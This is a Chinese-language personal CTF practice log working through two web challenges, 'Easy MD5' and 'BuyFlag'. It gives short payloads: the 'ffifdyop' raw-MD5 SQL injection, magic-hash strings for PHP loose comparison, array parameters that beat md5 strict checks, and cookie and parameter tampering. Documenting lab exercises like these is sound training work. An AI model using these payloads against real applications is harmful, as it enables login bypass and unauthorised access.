210115CTF练习记录

RT

[BJDCTF2020]Easy MD5

sBkHe0.png
一开始查看,第一感觉有可能是弱密码碰撞。(但是后来也觉得不会那么傻逼吧,也木有密码长度的提示)尝试点击一下提交。抓取得到下面的隐藏信息

1
select * from 'admin' where password=md5($pass,true)

大概率是密码绕过,(根据wp)这时候有一个有一个密码ffifdyopMD5之后结果是276f722736c95d99e921722cf9ed621c,而这个字符串前几位刚好是’ or ‘6, Mysql 刚好又会把 hex 转成 ascii 解释。

sBAAYD.png

1
2
3
4
5
6
7
8

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->

查看源代码是这个结果,常规的弱类型比较。

使用常用的弱类型比较

QNKCDZOMD5:0e830400451993494058024219903391
s878926199a MD5:0e545993274517709034328855841020

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

md5强比较,此时如果传入的两个参数不是字符串,而是数组,md5()函数无法解出其数值,而且不会报错,就会得到===强比较的值相等。构造payload

1
param1[]=111&param2[]=222

得到flag。。

[极客大挑战 2019]BuyFlag

1
Flag need your 100000000 money

有点像遇到过修改post数据包的考点,仔细看一下下面还有提示

1
2
3
If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!

三个条件

  • 用户身份
  • password
  • money

一眼过去觉得最容易解决的就是money了,按照他的来就好。

然后关于password去看了一些源码

1
2
3
4
5
6
7
8
9
10
11
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->

基本上就是弱类型比较

接着的话就是用户身份(我查了一下wp才了解)

一直有定式思维用user-agent,这一次改的是cookie。

user=0改成user=1即可。

中途还提示了money参数过长,这时候转换成科学计数法。

,构造payload。

sBejMQ.png

得到flag。